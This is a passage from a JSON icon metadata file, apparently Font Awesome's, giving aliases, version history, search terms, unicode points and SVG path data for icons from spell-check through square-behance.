        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"
      }
    },
    "free": ["brands"]
  },
  "spell-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f891"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dictionary", "edit", "editor", "grammar", "text"]
    },
    "styles": ["solid"],
    "unicode": "f891",
    "label": "Spell Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 0C99.1 0 87.4 7.8 82.5 19.7l-66.7 160-13.3 32c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L66.7 224h90.7l5.1 12.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-13.3-32-66.7-160C136.6 7.8 124.9 0 112 0zm18.7 160H93.3L112 115.2 130.7 160zM256 32v96 96c0 17.7 14.3 32 32 32h80c44.2 0 80-35.8 80-80c0-23.1-9.8-43.8-25.4-58.4c6-11.2 9.4-24 9.4-37.6c0-44.2-35.8-80-80-80H288c-17.7 0-32 14.3-32 32zm96 64H320V64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-32 64h32 16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320V160zM566.6 310.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L352 434.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l192-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 0C99.1 0 87.4 7.8 82.5 19.7l-66.7 160-13.3 32c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L66.7 224h90.7l5.1 12.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-13.3-32-66.7-160C136.6 7.8 124.9 0 112 0zm18.7 160H93.3L112 115.2 130.7 160zM256 32v96 96c0 17.7 14.3 32 32 32h80c44.2 0 80-35.8 80-80c0-23.1-9.8-43.8-25.4-58.4c6-11.2 9.4-24 9.4-37.6c0-44.2-35.8-80-80-80H288c-17.7 0-32 14.3-32 32zm96 64H320V64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16zm-32 64h32 16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320V160zM566.6 310.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L352 434.7l-73.4-73.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l96 96c12.5 12.5 32.8 12.5 45.3 0l192-192z"
      }
    },
    "free": ["solid"]
  },
  "spider": {
    "aliases": {
      "unicodes": {
        "composite": ["1f577"],
        "secondary": ["10f717"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arachnid",
        "bug",
        "charlotte",
        "crawl",
        "eight",
        "halloween",
        "insect",
        "spider"
      ]
    },
    "styles": ["solid"],
    "unicode": "f717",
    "label": "Spider",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M158.4 32.6c4.8-12.4-1.4-26.3-13.8-31s-26.3 1.4-31 13.8L81.1 100c-7.9 20.7-3 44.1 12.7 59.7l57.4 57.4L70.8 190.3c-2.4-.8-4.3-2.7-5.1-5.1L46.8 128.4C42.6 115.8 29 109 16.4 113.2S-3 131 1.2 143.6l18.9 56.8c5.6 16.7 18.7 29.8 35.4 35.4L116.1 256 55.6 276.2c-16.7 5.6-29.8 18.7-35.4 35.4L1.2 368.4C-3 381 3.8 394.6 16.4 398.8s26.2-2.6 30.4-15.2l18.9-56.8c.8-2.4 2.7-4.3 5.1-5.1l80.4-26.8L93.7 352.3C78.1 368 73.1 391.4 81.1 412l32.5 84.6c4.8 12.4 18.6 18.5 31 13.8s18.5-18.6 13.8-31l-32.5-84.6c-1.1-3-.4-6.3 1.8-8.5L160 353.9c1 52.1 43.6 94.1 96 94.1s95-41.9 96-94.1l32.3 32.3c2.2 2.2 2.9 5.6 1.8 8.5l-32.5 84.6c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8L430.9 412c7.9-20.7 3-44.1-12.7-59.7l-57.4-57.4 80.4 26.8c2.4 .8 4.3 2.7 5.1 5.1l18.9 56.8c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-18.9-56.8c-5.6-16.7-18.7-29.8-35.4-35.4L395.9 256l60.5-20.2c16.7-5.6 29.8-18.7 35.4-35.4l18.9-56.8c4.2-12.6-2.6-26.2-15.2-30.4s-26.2 2.6-30.4 15.2l-18.9 56.8c-.8 2.4-2.7 4.3-5.1 5.1l-80.4 26.8 57.4-57.4c15.6-15.6 20.6-39 12.7-59.7L398.4 15.4C393.6 3 379.8-3.2 367.4 1.6s-18.5 18.6-13.8 31l32.5 84.6c1.1 3 .4 6.3-1.8 8.5L336 174.1V160c0-31.8-18.6-59.3-45.5-72.2c-9.1-4.4-18.5 3.3-18.5 13.4V112c0 8.8-7.2 16-16 16s-16-7.2-16-16V101.2c0-10.1-9.4-17.7-18.5-13.4C194.6 100.7 176 128.2 176 160v14.1l-48.3-48.3c-2.2-2.2-2.9-5.6-1.8-8.5l32.5-84.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M158.4 32.6c4.8-12.4-1.4-26.3-13.8-31s-26.3 1.4-31 13.8L81.1 100c-7.9 20.7-3 44.1 12.7 59.7l57.4 57.4L70.8 190.3c-2.4-.8-4.3-2.7-5.1-5.1L46.8 128.4C42.6 115.8 29 109 16.4 113.2S-3 131 1.2 143.6l18.9 56.8c5.6 16.7 18.7 29.8 35.4 35.4L116.1 256 55.6 276.2c-16.7 5.6-29.8 18.7-35.4 35.4L1.2 368.4C-3 381 3.8 394.6 16.4 398.8s26.2-2.6 30.4-15.2l18.9-56.8c.8-2.4 2.7-4.3 5.1-5.1l80.4-26.8L93.7 352.3C78.1 368 73.1 391.4 81.1 412l32.5 84.6c4.8 12.4 18.6 18.5 31 13.8s18.5-18.6 13.8-31l-32.5-84.6c-1.1-3-.4-6.3 1.8-8.5L160 353.9c1 52.1 43.6 94.1 96 94.1s95-41.9 96-94.1l32.3 32.3c2.2 2.2 2.9 5.6 1.8 8.5l-32.5 84.6c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8L430.9 412c7.9-20.7 3-44.1-12.7-59.7l-57.4-57.4 80.4 26.8c2.4 .8 4.3 2.7 5.1 5.1l18.9 56.8c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-18.9-56.8c-5.6-16.7-18.7-29.8-35.4-35.4L395.9 256l60.5-20.2c16.7-5.6 29.8-18.7 35.4-35.4l18.9-56.8c4.2-12.6-2.6-26.2-15.2-30.4s-26.2 2.6-30.4 15.2l-18.9 56.8c-.8 2.4-2.7 4.3-5.1 5.1l-80.4 26.8 57.4-57.4c15.6-15.6 20.6-39 12.7-59.7L398.4 15.4C393.6 3 379.8-3.2 367.4 1.6s-18.5 18.6-13.8 31l32.5 84.6c1.1 3 .4 6.3-1.8 8.5L336 174.1V160c0-31.8-18.6-59.3-45.5-72.2c-9.1-4.4-18.5 3.3-18.5 13.4V112c0 8.8-7.2 16-16 16s-16-7.2-16-16V101.2c0-10.1-9.4-17.7-18.5-13.4C194.6 100.7 176 128.2 176 160v14.1l-48.3-48.3c-2.2-2.2-2.9-5.6-1.8-8.5l32.5-84.6z"
      }
    },
    "free": ["solid"]
  },
  "spinner": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f110"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["circle", "loading", "progress"]
    },
    "styles": ["solid"],
    "unicode": "f110",
    "label": "Spinner",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 416a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM48 304a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm464-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM142.9 437A48 48 0 1 0 75 369.1 48 48 0 1 0 142.9 437zm0-294.2A48 48 0 1 0 75 75a48 48 0 1 0 67.9 67.9zM369.1 437A48 48 0 1 0 437 369.1 48 48 0 1 0 369.1 437z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 416a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM48 304a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm464-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM142.9 437A48 48 0 1 0 75 369.1 48 48 0 1 0 142.9 437zm0-294.2A48 48 0 1 0 75 75a48 48 0 1 0 67.9 67.9zM369.1 437A48 48 0 1 0 437 369.1 48 48 0 1 0 369.1 437z"
      }
    },
    "free": ["solid"]
  },
  "splotch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bc"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Ink", "blob", "blotch", "glob", "stain"]
    },
    "styles": ["solid"],
    "unicode": "f5bc",
    "label": "Splotch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208.5 62.3l28.1-36.9C248.8 9.4 267.8 0 288 0c28.5 0 53.6 18.7 61.8 46l17.8 59.4c10.3 34.4 36.1 62 69.8 74.6l39.8 14.9c20.9 7.9 34.8 27.9 34.8 50.2c0 16.9-7.9 32.8-21.5 42.9l-67.3 50.5c-24.3 18.2-37.2 47.9-33.8 78.1l2.5 22.7c4.3 38.7-26 72.6-65 72.6c-14.8 0-29.3-5.1-40.8-14.3l-55.4-44.3c-4.5-3.6-9.3-6.7-14.5-9.2c-15.8-7.9-33.7-10.4-51-7.3L82.4 451.9C47.8 458.2 16 431.6 16 396.5c0-13.2 4.7-26 13.1-36.2l11.2-13.4c14.6-17.4 22.6-39.4 22.6-62.1c0-18.8-5.5-37.2-15.8-53L8.8 173.5C3.1 164.7 0 154.4 0 143.9c0-33.4 30.1-58.8 63-53.2l51.3 8.7c35.9 6.1 72.2-8.2 94.2-37.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208.5 62.3l28.1-36.9C248.8 9.4 267.8 0 288 0c28.5 0 53.6 18.7 61.8 46l17.8 59.4c10.3 34.4 36.1 62 69.8 74.6l39.8 14.9c20.9 7.9 34.8 27.9 34.8 50.2c0 16.9-7.9 32.8-21.5 42.9l-67.3 50.5c-24.3 18.2-37.2 47.9-33.8 78.1l2.5 22.7c4.3 38.7-26 72.6-65 72.6c-14.8 0-29.3-5.1-40.8-14.3l-55.4-44.3c-4.5-3.6-9.3-6.7-14.5-9.2c-15.8-7.9-33.7-10.4-51-7.3L82.4 451.9C47.8 458.2 16 431.6 16 396.5c0-13.2 4.7-26 13.1-36.2l11.2-13.4c14.6-17.4 22.6-39.4 22.6-62.1c0-18.8-5.5-37.2-15.8-53L8.8 173.5C3.1 164.7 0 154.4 0 143.9c0-33.4 30.1-58.8 63-53.2l51.3 8.7c35.9 6.1 72.2-8.2 94.2-37.1z"
      }
    },
    "free": ["solid"]
  },
  "spoon": {
    "aliases": {
      "names": ["utensil-spoon"],
      "unicodes": {
        "composite": ["1f944", "f1b1"],
        "secondary": ["10f2e5"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cutlery",
        "dining",
        "scoop",
        "silverware",
        "spoon",
        "tableware"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2e5",
    "label": "Spoon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M245.8 220.9c-14.5-17.6-21.8-39.2-21.8-60.8C224 80 320 0 416 0c53 0 96 43 96 96c0 96-80 192-160.2 192c-21.6 0-43.2-7.3-60.8-21.8L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L245.8 220.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M245.8 220.9c-14.5-17.6-21.8-39.2-21.8-60.8C224 80 320 0 416 0c53 0 96 43 96 96c0 96-80 192-160.2 192c-21.6 0-43.2-7.3-60.8-21.8L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L245.8 220.9z"
      }
    },
    "free": ["solid"]
  },
  "spotify": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1bc",
    "label": "Spotify",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"
      }
    },
    "free": ["brands"]
  },
  "spray-can": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5bd"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Paint", "aerosol", "design", "graffiti", "tag"]
    },
    "styles": ["solid"],
    "unicode": "f5bd",
    "label": "Spray Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 0h64c17.7 0 32 14.3 32 32v96H96V32c0-17.7 14.3-32 32-32zM0 256c0-53 43-96 96-96H224c53 0 96 43 96 96V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V256zm240 80A80 80 0 1 0 80 336a80 80 0 1 0 160 0zM256 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM448 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 0h64c17.7 0 32 14.3 32 32v96H96V32c0-17.7 14.3-32 32-32zM0 256c0-53 43-96 96-96H224c53 0 96 43 96 96V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V256zm240 80A80 80 0 1 0 80 336a80 80 0 1 0 160 0zM256 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM448 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM384 128a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "spray-can-sparkles": {
    "aliases": {
      "names": ["air-freshener"],
      "unicodes": {
        "secondary": ["10f5d0"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["car", "clean", "deodorize", "fresh", "pine", "scent"]
    },
    "styles": ["solid"],
    "unicode": "f5d0",
    "label": "Spray Can Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 32v96H224V32c0-17.7-14.3-32-32-32H128C110.3 0 96 14.3 96 32zm0 128c-53 0-96 43-96 96V464c0 26.5 21.5 48 48 48H272c26.5 0 48-21.5 48-48V256c0-53-43-96-96-96H96zm64 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM384 48c0-1.4-1-3-2.2-3.6L352 32 339.6 2.2C339 1 337.4 0 336 0s-3 1-3.6 2.2L320 32 290.2 44.4C289 45 288 46.6 288 48c0 1.4 1 3 2.2 3.6L320 64l12.4 29.8C333 95 334.6 96 336 96s3-1 3.6-2.2L352 64l29.8-12.4C383 51 384 49.4 384 48zm76.4 45.8C461 95 462.6 96 464 96s3-1 3.6-2.2L480 64l29.8-12.4C511 51 512 49.4 512 48c0-1.4-1-3-2.2-3.6L480 32 467.6 2.2C467 1 465.4 0 464 0s-3 1-3.6 2.2L448 32 418.2 44.4C417 45 416 46.6 416 48c0 1.4 1 3 2.2 3.6L448 64l12.4 29.8zm7.2 100.4c-.6-1.2-2.2-2.2-3.6-2.2s-3 1-3.6 2.2L448 224l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L448 256l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L480 256l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6c0-1.4-1-3-2.2-3.6L480 224l-12.4-29.8zM448 144c0-1.4-1-3-2.2-3.6L416 128 403.6 98.2C403 97 401.4 96 400 96s-3 1-3.6 2.2L384 128l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L384 160l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L416 160l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 32v96H224V32c0-17.7-14.3-32-32-32H128C110.3 0 96 14.3 96 32zm0 128c-53 0-96 43-96 96V464c0 26.5 21.5 48 48 48H272c26.5 0 48-21.5 48-48V256c0-53-43-96-96-96H96zm64 96a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM384 48c0-1.4-1-3-2.2-3.6L352 32 339.6 2.2C339 1 337.4 0 336 0s-3 1-3.6 2.2L320 32 290.2 44.4C289 45 288 46.6 288 48c0 1.4 1 3 2.2 3.6L320 64l12.4 29.8C333 95 334.6 96 336 96s3-1 3.6-2.2L352 64l29.8-12.4C383 51 384 49.4 384 48zm76.4 45.8C461 95 462.6 96 464 96s3-1 3.6-2.2L480 64l29.8-12.4C511 51 512 49.4 512 48c0-1.4-1-3-2.2-3.6L480 32 467.6 2.2C467 1 465.4 0 464 0s-3 1-3.6 2.2L448 32 418.2 44.4C417 45 416 46.6 416 48c0 1.4 1 3 2.2 3.6L448 64l12.4 29.8zm7.2 100.4c-.6-1.2-2.2-2.2-3.6-2.2s-3 1-3.6 2.2L448 224l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L448 256l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L480 256l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6c0-1.4-1-3-2.2-3.6L480 224l-12.4-29.8zM448 144c0-1.4-1-3-2.2-3.6L416 128 403.6 98.2C403 97 401.4 96 400 96s-3 1-3.6 2.2L384 128l-29.8 12.4c-1.2 .6-2.2 2.2-2.2 3.6c0 1.4 1 3 2.2 3.6L384 160l12.4 29.8c.6 1.2 2.2 2.2 3.6 2.2s3-1 3.6-2.2L416 160l29.8-12.4c1.2-.6 2.2-2.2 2.2-3.6z"
      }
    },
    "free": ["solid"]
  },
  "square": {
    "aliases": {
      "unicodes": {
        "composite": ["25a0", "25fb", "25fc", "f096"],
        "secondary": ["10f0c8"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Square",
        "black medium square",
        "block",
        "box",
        "geometric",
        "shape",
        "square",
        "white medium square"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c8",
    "label": "Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H384zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H384zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-arrow-up-right": {
    "aliases": {
      "names": ["external-link-square"],
      "unicodes": {
        "secondary": ["10f14c"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["diagonal", "new", "open", "send", "share"]
    },
    "styles": ["solid"],
    "unicode": "f14c",
    "label": "Square Arrow Up Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"
      }
    },
    "free": ["solid"]
  },
  "square-behance": {
    "aliases": {
      "names": ["behance-square"]
    },
    "changes": ["4.1.0", "5.0.0", "5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b5",
    "label": "Behance Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
